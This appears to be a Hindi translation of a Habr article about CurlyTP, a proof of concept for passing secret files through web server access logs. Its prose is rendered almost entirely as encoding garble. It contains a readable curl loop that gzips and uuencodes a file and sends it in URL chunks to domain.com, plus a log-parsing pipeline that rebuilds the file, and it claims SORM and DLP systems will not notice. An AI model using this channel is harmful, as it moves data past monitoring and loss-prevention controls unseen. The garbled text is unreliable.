рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧреБрдкреНрдд рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди

рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдбреЗрдб рдбреНрд░реЙрдк рдПрдХ рд╕рд╛рдЬрд┐рд╢ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдЧреБрдкреНрдд рд╕реНрдерд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд▓реЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рд╕реВрдЪрдирд╛ рдпрд╛ рдХреБрдЫ рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рд╡рд┐рдЪрд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рд▓реЛрдЧ рдХрднреА рдирд╣реАрдВ рдорд┐рд▓рддреЗ - рд▓реЗрдХрд┐рди рдкрд░рд┐рдЪрд╛рд▓рди рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╡реЗ рдлрд┐рд░ рднреА рд╕реВрдЪрдирд╛рдУрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред

рдЫрд┐рдкрдиреЗ рдХреА рдЬрдЧрд╣ рдкрд░ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рд▓рд┐рдП, рдСрдлрд╝рд▓рд╛рдЗрди рджреБрдирд┐рдпрд╛ рдореЗрдВ рд╡реЗ рдЕрдХреНрд╕рд░ рд╡рд┐рд╡реЗрдХрдкреВрд░реНрдг рдЪреАрдЬрд╝реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ: рджреАрд╡рд╛рд░ рдореЗрдВ рдПрдХ рдвреАрд▓реА рдИрдВрдЯ, рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреА рдХрд┐рддрд╛рдм, рдпрд╛ рдПрдХ рдкреЗрдбрд╝ рдореЗрдВ рдЦреЛрдЦрд▓рд╛ред

рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдХрдИ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдФрд░ рдЧреБрдордирд╛рдореАрдХрд░рдг рдЙрдкрдХрд░рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рддрдереНрдп рд╣реА рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЙрдиреНрд╣реЗрдВ рдХреЙрд░реНрдкреЛрд░реЗрдЯ рдпрд╛ рд╕рд░рдХрд╛рд░реА рд╕реНрддрд░ рдкрд░ рдмреНрд▓реЙрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдХреНрдпрд╛ рдХрд░реЗрдВ?

рдбреЗрд╡рд▓рдкрд░ рд░рдпрд╛рди рдлреНрд▓рд╛рд╡рд░реНрд╕ рдиреЗ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рдХрд▓реНрдк рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ - рдХрд┐рд╕реА рднреА рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ рдЫрд┐рдкрдиреЗ рдХреА рдЬрдЧрд╣ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ. рдпрджрд┐ рдЖрдк рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪреЗрдВ, рддреЛ рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ? рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓реЙрдЧ рд▓рд┐рдЦрддрд╛ рд╣реИред рдФрд░ рдпрд╣ рд╕рднреА рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд▓реЙрдЧ рдХрд░рддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЧрд╝рд▓рдд рднреА!

рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдХреЛрдИ рднреА рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЖрдкрдХреЛ рд▓реЙрдЧ рдореЗрдВ рд▓рдЧрднрдЧ рдХрд┐рд╕реА рднреА рд╕рдВрджреЗрд╢ рдХреЛ рд╕рд╣реЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдлреВрд▓реЛрдВ рдХреЛ рдЖрд╢реНрдЪрд░реНрдп рд╣реБрдЖ рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдПред

рд╡рд╣ рдпрд╣ рд╡рд┐рдХрд▓реНрдк рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ:

  1. рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ (рдЧреБрдкреНрдд рд╕рдВрджреЗрд╢) рд▓реЗрдВ рдФрд░ рд╣реИрд╢ (md5sum) рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВред
  2. рд╣рдо рдЗрд╕реЗ рдПрдирдХреЛрдб рдХрд░рддреЗ рд╣реИрдВ (gzip+uuencode)ред
  3. рд╣рдо рд╕рд░реНрд╡рд░ рд╕реЗ рдЬрд╛рдирдмреВрдЭрдХрд░ рдЧрд▓рдд рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧ рдореЗрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВред

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЙрд▓реНрдЯреЗ рдХреНрд░рдо рдореЗрдВ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: рдлрд╝рд╛рдЗрд▓ рдХреЛ рдбреАрдХреЛрдб рдФрд░ рдЕрдирдЬрд╝рд┐рдк рдХрд░реЗрдВ, рд╣реИрд╢ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ (рд╣реИрд╢ рдХреЛ рдЦреБрд▓реЗ рдЪреИрдирд▓реЛрдВ рдкрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред

рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ =+=рддрд╛рдХрд┐ рдкрддреЗ рдореЗрдВ рдХреЛрдИ рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рди рд░рд╣реЗ. рдкреНрд░реЛрдЧреНрд░рд╛рдо, рдЬрд┐рд╕реЗ рд▓реЗрдЦрдХ рдХрд░реНрд▓реАрдЯреАрдкреА рдХрд╣рддрд╛ рд╣реИ, рдИрдореЗрд▓ рдЕрдЯреИрдЪрдореЗрдВрдЯ рдХреА рддрд░рд╣ рдмреЗрд╕64 рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЕрдиреБрд░реЛрдз рдПрдХ рдХреАрд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ ?transfer?рддрд╛рдХрд┐ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдЗрд╕реЗ рд▓реЙрдЧ рдореЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рдвреВрдВрдв рд╕рдХреЗред

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рд▓реЙрдЧ рдореЗрдВ рдХреНрдпрд╛ рджреЗрдЦрддреЗ рд╣реИрдВ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рд╣реА рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рдЧреБрдкреНрдд рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдЙрд▓реНрдЯреЗ рдХреНрд░рдо рдореЗрдВ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ. Md5sum рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИ рдХрд┐ рд╕рдм рдХреБрдЫ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдбрд┐рдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╡рд┐рдзрд┐ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ. тАЬрдЗрд╕ рдЕрднреНрдпрд╛рд╕ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХреЗрд╡рд▓ рдпрд╣ рд╕рд╛рдмрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдорд╛рд╕реВрдо рдЫреЛрдЯреЗ рд╡реЗрдм рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рджреЗ рдкрд╛рда рд▓реЙрдЧ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рд╡реЗрдм рд╕рд░реНрд╡рд░ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдореВрд▓рддрдГ, рдкреНрд░рддреНрдпреЗрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдПрдХ рдЫрд┐рдкрдиреЗ рдХреА рдЬрдЧрд╣ рд╣реИ!" рдлреНрд▓рд╛рд╡рд░реНрд╕ рд▓рд┐рдЦрддреЗ рд╣реИрдВред

рдмреЗрд╢рдХ, рд╡рд┐рдзрд┐ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░рддреА рд╣реИ рдЬрдм рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛред рд▓реЗрдХрд┐рди рдРрд╕реА рдкрд╣реБрдВрдЪ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрдИ рд╣реЛрд╕реНрдЯрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред

рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ?

рд░рдпрд╛рди рдлреНрд▓рд╛рд╡рд░реНрд╕ рдХрд╛ рдХрд╣рдирд╛ рд╣реИ рдХрд┐ рд╡рд╣ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдХрд░реНрд▓реАрдЯреАрдкреА рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЙрдкрдпреЛрдЧреЛрдВ рдХреА рд╕реВрдЪреА рд╕рдВрдХрд▓рд┐рдд рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗред рдЙрдирдХреЗ рд▓рд┐рдП, рдпрд╣ рд╕рд┐рд░реНрдл рдЗрд╕ рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдкреНрд░рдорд╛рдг рд╣реИ рдХрд┐ рдЬрд┐рди рдкрд░рд┐рдЪрд┐рдд рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рд╣рдо рд╣рд░ рджрд┐рди рджреЗрдЦрддреЗ рд╣реИрдВ рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдкрд░рдВрдкрд░рд╛рдЧрдд рддрд░реАрдХреЗ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕ рдкрджреНрдзрддрд┐ рдХреЗ рдЕрдиреНрдп рд╕рд░реНрд╡рд░ "рдЫрд┐рдкрд╛рдиреЗ" рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрдИ рдлрд╛рдпрджреЗ рд╣реИрдВ рдбрд┐рдЬрд┐рдЯрд▓ рдбреЗрдб рдбреНрд░реЙрдк рдпрд╛ рд╕рдореБрджреНрд░реА рдбрд╛рдХреВ рдмреЙрдХреНрд╕: рдЗрд╕реЗ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░ рд╡рд┐рд╢реЗрд╖ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ - рдФрд░ рдпрд╣ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рд╡рд╛рд▓реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрджреЗрд╣ рдкреИрджрд╛ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред рдпрд╣ рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХреЛрдИ SORM рдпрд╛ DLP рд╕рд┐рд╕реНрдЯрдо рд╕рдВрдкреАрдбрд╝рд┐рдд рдкрд╛рда рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП URL рд╕реНрдХреИрди рдХрд░реЗрдЧрд╛ред

рдпрд╣ рд╕реЗрд╡рд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрджреЗрд╢ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рдЖрдк рдпрд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреБрдЫ рдЙрдиреНрдирдд рдХрдВрдкрдирд┐рдпрд╛рдБ рдХреИрд╕реЗ рдкреНрд▓реЗрд╕рдореЗрдВрдЯ рдХрд░рддреА рдереАрдВ HTTP рд╣реЗрдбрд░ рдореЗрдВ рдбреЗрд╡рд▓рдкрд░ рдиреМрдХрд░рд┐рдпрд╛рдВ рдпрд╛ HTML рдкреГрд╖реНрдареЛрдВ рдХреЗ рдХреЛрдб рдореЗрдВ.

рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧреБрдкреНрдд рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди

рд╡рд┐рдЪрд╛рд░ рдпрд╣ рдерд╛ рдХрд┐ рдХреЗрд╡рд▓ рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░ рд╣реА рдЗрд╕ рдИрд╕реНрдЯрд░ рдПрдЧ рдХреЛ рджреЗрдЦреЗрдВрдЧреЗ, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡реНрдпрдХреНрддрд┐ рд╣реЗрдбрд░ рдпрд╛ HTML рдХреЛрдб рдХреЛ рдирд╣реАрдВ рджреЗрдЦреЗрдЧрд╛ред

рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧреБрдкреНрдд рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝реЗрдВ